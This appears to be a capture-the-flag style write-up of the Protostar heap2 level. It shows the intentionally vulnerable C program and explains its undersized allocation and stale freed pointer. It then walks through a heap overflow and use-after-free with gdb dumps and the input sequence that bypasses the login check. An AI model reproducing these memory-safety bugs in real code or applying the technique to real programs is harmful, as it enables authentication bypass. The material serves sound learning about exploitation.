Source Code
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Hint
This level examines what can happen when heap pointers are stale.
This level is completed when you see the “you have logged in already!” message
This level is at /opt/protostar/bin/heap2
Code Review
struct auth *auth; <--- programming mistake [changing struct variable into a pointer variable] means less space than actual struct
auth = malloc(sizeof(auth)); <--- hmm, calculating size of pointer and then allocating new location...
strlen(line + 5) < 31 <--- String copying limit is far more than the actual allocated size {means overflow}
simple.... But we need to exploit this program using free() vulnerability.
Basically, With free() function , we can deallocate any location but the problem is, its only deallocate means no data deletion.
and another point is, after deallocation, malloc() can again allocate that exact space again, without checking what already written into
that space but the programmer was smart, hence he used memset..
Third point is, this program is using strdup function. which allocate space for new string through malloc function.
and fourth point is, even after deallocating space, pointer to that location is not reset.
Planning
So, Our plain is,
First allocate space for auth into heap
--------------------------------------------------
| auth (4 bytes) |
------------------------------------------------
but programmer design codes as its a 36+ bytes space location
Then, strdup
--------------------------------------------------
| auth | strdup (anythingh)
------------------------------------------------
By The Way, We already overflow auth... But For Practise.... Follow below steps also
Let's Try again
First allocate space for auth into heap
--------------------------------------------------
| auth (4 bytes) |
------------------------------------------------
Then, free()
--------------------------------------------------
| free--- |
------------------------------------------------
But Pointer was not reset
Allocate space for strdup
--------------------------------------------------
| strdup (anythingh)
------------------------------------------------
, So Both auth and strdup string pointing to same location.
Implementation
The current source language is "auto; currently asm".
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth
Breakpoint 1, 0x080489fc in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:28
28 heap2/heap2.c: No such file or directory.
in heap2/heap2.c
Current language: auto
The current source language is "auto; currently c".
(gdb) c
Continuing.
[ auth = 0x804c008, service = (nil) ]
service surajserv1
Breakpoint 3, 0x08048a58 in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:35
35 in heap2/heap2.c
(gdb) ni
0x08048a5d 35 in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008: "surajsuauth\n\031"
0x804c016: ""
0x804c017: ""
0x804c018: " surajserv1\n"
0x804c025: ""
0x804c026: ""
0x804c027: ""
0x804c028: ""
0x804c029: ""
0x804c02a: ""
(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
reset
Breakpoint 2, 0x08048a29 in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:32
32 in heap2/heap2.c
(gdb) ni
34 in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008: ""
0x804c009: ""
0x804c00a: ""
0x804c00b: ""
0x804c00c: "jsuauth\n\031"
0x804c016: ""
0x804c017: ""
0x804c018: " surajserv1\n"
0x804c025: ""
0x804c026: ""
(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
auth surajsuth2
Breakpoint 1, 0x080489fc in main (argc=1, argv=0xbffffd54) at heap2/heap2.c:28
28 in heap2/heap2.c
(gdb) ni
31 in heap2/heap2.c
(gdb) x/10s 0x804c008
0x804c008: "surajsuth2\n"
0x804c014: "\031"
0x804c016: ""
0x804c017: ""
0x804c018: " surajserv1\n"
0x804c025: ""
0x804c026: ""
0x804c027: ""
0x804c028: ""
0x804c029: ""
(gdb)
solution :
root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth
[ auth = 0x804c008, service = (nil) ]
service surajserv1
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
^C
root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth surajsuauth
[ auth = 0x804c008, service = (nil) ]
service surajserv111111111111111111111
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
auth surajsuth
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]